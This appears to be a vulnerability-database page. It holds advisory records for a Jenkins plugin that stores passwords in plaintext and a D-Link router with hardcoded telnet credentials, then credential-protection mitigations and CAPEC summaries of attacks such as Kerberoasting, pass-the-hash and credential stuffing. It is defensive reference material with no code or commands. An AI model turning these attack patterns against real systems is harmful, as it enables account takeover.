"details": "Jenkins Elasticsearch Query Plugin 1.2 and earlier stores a password unencrypted in its global configuration file `org.jenkinsci.plugins.elasticsearchquery.ElasticsearchQueryBuilder.xml` on the Jenkins controller where it can be viewed by users with access to the Jenkins controller file system.",
"id": "GHSA-h5h5-m2mc-j2pv",
"modified": "2022-12-09T04:51:40Z",
"published": "2022-07-01T00:01:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34807"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/elasticsearch-query-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2022-06-30/#SECURITY-2073"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Plaintext Storage of a Password in Jenkins Elasticsearch Query Plugin"
}
GHSA-H5MW-6QWR-QV2X
Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-07-13 00:00The D-link router DIR-885L-MFC 1.15b02, v1.21b05 is vulnerable to credentials disclosure in telnet service through decompilation of firmware, that allows an unauthenticated attacker to gain access to the firmware and to extract sensitive data.
{
"affected": [],
"aliases": [
"CVE-2020-29323"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-04T20:15:00Z",
"severity": "HIGH"
},
"details": "The D-link router DIR-885L-MFC 1.15b02, v1.21b05 is vulnerable to credentials disclosure in telnet service through decompilation of firmware, that allows an unauthenticated attacker to gain access to the firmware and to extract sensitive data.",
"id": "GHSA-h5mw-6qwr-qv2x",
"modified": "2022-07-13T00:00:50Z",
"published": "2022-05-24T19:04:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-29323"
},
{
"type": "WEB",
"url": "https://cybersecurityworks.com/zerodays/cve-2020-29323-telnet-hardcoded-credentials.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Use an appropriate security mechanism to protect the credentials.
Mitigation
Make appropriate use of cryptography to protect the credentials.
Mitigation
Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).
CAPEC-102: Session Sidejacking
Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.
CAPEC-474: Signature Spoofing by Key Theft
An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.
CAPEC-50: Password Recovery Exploitation
An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure.
CAPEC-509: Kerberoasting
Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-555: Remote Services with Stolen Credentials
This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.
CAPEC-560: Use of Known Domain Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service.
CAPEC-561: Windows Admin Shares with Stolen Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain.
CAPEC-600: Credential Stuffing
An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services.
CAPEC-644: Use of Captured Hashes (Pass The Hash)
An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.
CAPEC-645: Use of Captured Tickets (Pass The Ticket)
An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.
CAPEC-652: Use of Known Kerberos Credentials
An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.
CAPEC-653: Use of Known Operating System Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System.